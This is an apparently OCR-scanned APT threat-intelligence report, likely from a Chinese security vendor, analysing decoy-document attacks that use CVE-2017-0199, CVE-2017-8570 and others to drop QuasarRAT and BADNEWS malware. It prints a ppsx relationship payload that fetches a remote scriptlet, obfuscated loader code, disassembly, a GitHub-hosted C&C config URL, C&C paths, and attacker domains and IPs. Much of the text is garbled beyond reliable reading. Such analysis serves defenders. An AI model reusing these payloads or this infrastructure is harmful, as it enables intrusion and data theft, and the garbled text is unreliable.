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Strategic_Chain.pdf

6. Entanglement  ppsx
CVE-2017-0199

<?xml version=""1.8" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmnlformats.org/package/2006/relationships™>
<Relationship Id=""vId3" Type="http://schemas.openzmlformats.org/officebocument/20886/relationships/image”
Target="script:http://www._rannd.org/slide.sct' TargetHode="External"/>
7. ppsx
Powershell decoy ppt Powerpoint

ppt



APT

2.2 B

CVE-2017-8570

2018

3

RUSSIAN AND
CHINESE
PERSPECTIVES
ON
NON-NUCLEAR
WEAPONS

AND

NUCLEAR RISKS










'ilﬁfrﬁ

www venusteckSn.com.cn

APT

01 05, .00 ﬂn rw nm NN N8 NN A NN RN AT AZ. Ak e o Parck
litage ™1 e T g ||, SR
vl Lo A e N e ——— L — ot rE R
s e AT [ELEE G L AN AN I CAE 301 a
o= tizmpely e P i 1ptl
progids v - ; 2 2] T .
! ! ! ! 0 i
- S o oo - E— Infagy: £ BE O S e b
sogLcss| Bd e 20 Yzooa3 M0ozn T oad TUozh Gn Re TLOF2 wl ] or
2 ,CI I.;.la.e]l T4 e B0 ¢ B0 Lo Yo oan do ab Bl ac T4 3R 29 ap | bex
¥t ..., ] Od 0z 0% A% 78 29 74 2o 20 3n 0d 0z 09 04 Oa =d

1

{facript>. .. 5bd 3e 0d Oa Sc 2f 75 63 72 69 70 ¥4 3e 0d 0Oa Od

criptlet>. .. Ua 3c 2f 73 63 72 69 70 74 6c 65 74 3e 1f 00 00 .</s
Vefiak.oe.p 00 45 00 B5a 00 be 00 BB 00 61 00 &k 00 BE OO0 YOO T,
ChoWZ 2040 0081 00 T4 00 BE 00 Be 00 Ba 00 32 00 34 00 BR alt
FOOILLY.D.O 00 5% 00 33 00 46 00 50 00 49 00 B9 00 44 00 55 . Y¥.5
Dolsocte a0 4c 00 52 00 44 00 Z2e 00 73 00 65 00 74 00 13 .L.E
L4 TY.3F 0000 00 Ba OO0 32 00 34 00 BE OO0 BD 00 35 00 44 o &
LDLLLLE.D 00 30 00 43 00 59 00 44 00 BE 00 40 00 52 00 44 0.1
st . Cor 00 2e DOT3 0063 0074 00 1f 0000 00 45 00 3a  ...s
sak.epoat 00 5c 00 86 00 61 00 6k 0065 00 70 00 A1 00 74 .\ f
LZ.2.4 T3 0068 00 5e 00 5a 00 32 00 34 00 55 00 59 00 32 _h.h
JILT.DLULLE 00 46 00 30 00 49 00 6% 00 44 00 55 00 4c 00 B2 . F. 0
= = b [T I B 1 B [T T T T =4 Tt TA L nin T
OLE CVE-2017-8570 Scriptlet Moniker
sct
00000800 | 01 00 00D 02 09 00 0D 00 01 00 000D Q000 0000 . o o . . ... e
an000520 | 90 0 00 00 ¢0 00 00 00 o0 00 a0 48 02 00 DD 00 s FOMPOSitE Monkker |
: l[ 15 ]I v W \ = e B .7 . ] I nuUL R T .
' o CFileMoniker . . S lwl

S ol v o = : B P . NS S S S
ﬁ S0 00 TL00 . 700 .00 L .00 L. 00 . 00
oo e BB v A kB e B e R e IR



APT
grat
o 1 2 3 4 5 & T &8 8§ A B C D E F 0123456 TE8SABCDEF

00h:| AD &AFE 10 00 02 00 71 72 61 74 2ZE &5 78 B85 00 43 -®....gqrat.exe.C
10n:| 3R 5C 66 61 6B 65 70 61 74 &8 5C 71 72 61 74 ZE :\fakepath\grat.
20h: ©5 78 &5 00 00 00 03 00 15 00 OO0 OO0 43 3A 5C 66
20h:
40h:
S0h:
60h:
TOh:
&0h:
S0h:
AOh:
EOh:
COh:
DOl :
EOh:
FOh:

LI'This program
cannot be run in

DOS mode....5..

2.3 C

CVE-2015-2545  CVE-2017-0261

BADNEWS

¥ 4 = ‘. GOVERNMENT OF PAKISTAN 4 -
@ MINISTRY OF INTERIOR i
oA,  NATIONAL DATABASE & REGISTRATION ALITHORITY B S8 4

ne | JRRESEN Y & DU e V- N g
NAA b S

REMINDER-II
To All Zonal Assistant Directors
All DAUs (NRCs/MRVs
i Technical Section
Card Destruction Cell
Subject Disposal of Cards/ Security Papers/ Scanned Forms- Yearly Report

QuasarRAT  BADNEWS


https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-2545
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0261

APT

.com.cn

3.1 QuasarRAT

1. Qiho 360

Pransiiiss

Surarnary Generall Yersion | Compatibility

File wersion:  1.0.0.0

Jefence Description:  Giho 360 Active |

4 Copyright: Copyright & 201

SR
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|

|tern name:

Comments
Compary

File Yersion
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Language

Legal Trademark.s
Original File name
Froduct Mame
Praduct Yersion
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2. QuasarRAT

Loader
QuasarRAT

arg AA @ = 7;

continue;
1
IL_@E:
Forml.(DoPweX7mosge6QtThg(this);
arg A& B = 5

{
i
{
i
4]
=

i -3 sy (T8

Loader
QuasarRAT

C#

string

AQSpIZWILadgEyKUKR wofied ShEFr4G7E tCnltIFp7P2ZmuheYk . 7 3 : 2

esaamKon3aT4pmEZtL
gCemaSxarhzYHFdu switch ‘zrg Al 't
3 {
i+ 3 Base Types :::: 2
3 Derived Types goto 1118
& case 1:
& ctord) : void goto IL_IF;
= rase. R . —
goto IL 2F;
case 4:
return;
default:
arg 618 = 4;
break;
}
1
IL_1a:
CXSMBErBHZ{y59AcAX. kL jwai IsCLsZtxcalksNoj();
IL_IF:
try

il 1y
{

i
£52:47925P 7201 €230, rliyisFAsn . Run{ };

1. Beadiice

string text = Forml.KOUuIOXOXCp7eZtI16G(Forml.MWXMBEXHNudn6kTULWS());

if (false)
goto IL_28;

¥

continue;

1L_28:

goto IL_BE;

IL_20:

goto IL_28;

IL_3D:

Forml.p2aQBLX8TbarjFGGTWS (18888) ;

arg_AA @ = 2;
continue;

IL_64:
Forml.zNRDKZXWEGp1ITvFj20(this);
arg AA B = 10;

continue;

IL_ES:
Forml.qYaZCZXmDg9PEr1XOuM(this);
arg AS B = 8;

continue;

IL_92:
Forml.TExZBsXhyiKW6htC219(this);
gote IL_ES;
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6. C&C

packet

3.2 BADNEWS
C BADNEWS

1.
%PROGRAMDATA%\Microsoft\DeviceSync\VMwareCplLauncher.exe
%PROGRAMDATA%\Microsoft\DeviceSync\vmtools.dll
%PROGRAMDATA%\Microsoft\DeviceSync\MSBuild.exe
VMwareCplLauncher.exe vmtools.dl|

@
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dll BADNEWS MSBuild.exe
2. VMwareCplLauncher.exe vmtools.dll  vmtools.dlI
BaiduUpdateTask1
MSBuild.exe
3. MSBuild.exe

hxxps://raw.githubusercontent.com/husngilgit/husnahazrt/master/xml.xml

“r I Base64 base64
C&C
4. C&C
uuid=[UUID] #un=[ J#en=[ J#on=[ ] #lan=[IP
J#nop=#ver=1.0 AES

DD1876848203D9E10ABCEEC07282FF37 +base64
//e3e7e71a0b28b5e96cc492e636722f73//4sVKAOvu3D//ABDYotONXxyG.php



APT

\

OUAEE X

7 www.venusteclSn.com.cn

text:00B620FO
text:00B620F 0
text:08B628F A
text:00B690F1
text:00B620F3
text:00B628F2
text:00B690FE
text:08B62180
text:00B62183
text:00B69104
text:88B69185
text:00B6218B
text:00B62108C
text:00B69111
text:00B62117
text:00B6211F
text:08B69125
text:00B69127
text:00B6212D
text:08B62130
text:08B62130
text:08B62130
text:00B69131
text:00B69133
text:B0B62136
text:00B62138
text:00B69139
text:88B6913E
text:00B62141
text:00B69141
text:00B69141
text:00B62141
fext:00B60 144
text:00B62148
text:00B6214A
text:00B6214D
text:00B69151
text:00B69153
text:88B62153
text:08B69153
text:00B62156
text:B8B62157
text:00B62159

var_4

loc_B69138:

loc_B69141:

loc_B69153:

dat

= dword ptr -4

push
mov
sub
mou
E{ild
mou
push
push
lea
push
push
call
cmp
lea
jz
mov
lea

push
call
cmp
jnz
push
call
add

add
cmp
jnz
add
cmp
jnz

pop
=or

pop

ebp

ebp, esp

esp, 218h

eax, _ security_cookie
eax, ebp

[ebp+var_4], eax

esi

edi

eax, [ebp+Buffer]

eax ; lpBuffer
184h ; nBufferLength
ds:GetLogicalDriveStringsW
[ebp+Buffer], 8

esi, [ebp+Buffer]

short loc_B69153

edi, ds:GetDriveTypeW

ec®, [ecx+0]

; CODE XREF: findsensefile+61}Lj
esi ; lpRootPathHame
edi ; GetDriveTypeW
eax, DRIVE_FIXED
short loc_B69141
esi

collegctfile

esp, 4
; CODE XREF: findsensefile+46tj
; findsensefile+58j

esi, 2

word ptr [esi], 8
short loc_B69141

esi, 2

wvord ptr [esi], 8
short loc_B69130

; CODE XREF: findsensefile+3571j
ecx, [ebp+var_4]
edi
ecx, ebp
esi

TPX498.dat

AES +base64

\e3e7e71a0b28b5e96cc492e636722f73\4sVKAOVU3D\UYEfgEpXAQE.php
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brokings.org
crazywomen-dating.com
ifenngnews.com
209.58.185.37
mail.ifenngnews.com
chinapolicyanalysis.org

C&C
94.242.249.203
209.58.183.33


http://brokings.org/index.php?f=Strategic_Chain.pdf
https://www.virustotal.com/#/url/40d75ec2b72c50660a51647268497a8407824e5b4233dfeef0ca4d313211ed77/detection
https://www.virustotal.com/#/url/09652d158755b30de3db4b92c2702646a98546ab9509327d5e765f8057527240/detection
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